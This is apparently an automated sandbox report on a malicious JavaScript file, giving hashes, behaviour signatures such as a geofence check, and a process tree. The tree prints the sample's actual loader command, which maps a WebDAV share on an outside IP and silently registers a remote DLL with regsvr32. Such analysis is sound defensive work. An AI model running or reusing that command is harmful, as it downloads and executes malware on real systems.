Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 01:06

General

  • Target

    3229915988687420440.js

  • Size

    6KB

  • MD5

    c30a7e59d5451bd4b9861b9f87b78524

  • SHA1

    8a519c837cd49d5a2b4a739ed103506800d0ae3e

  • SHA256

    dff866ee7e8bf8095748a14b2a1ed52972939d0948d0a93a78ca65a415b7d716

  • SHA512

    4e61751475bb5e88f9ef3e7c316d54836e9345d40fd44f85359a0261a228d33b71ca4840c0f26d0375402e3efabce2ac1d9f9fe83fa3b7cf4f18c8324f5c22bc

  • SSDEEP

    96:ss+VNiQMHl6exC0EOvzbPfwAkJXzbPfwJQSD:s3NiQu1xwOvzbPfwAkhzbPfwJQSD

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3229915988687420440.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\234913008813484.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2908
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:872

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads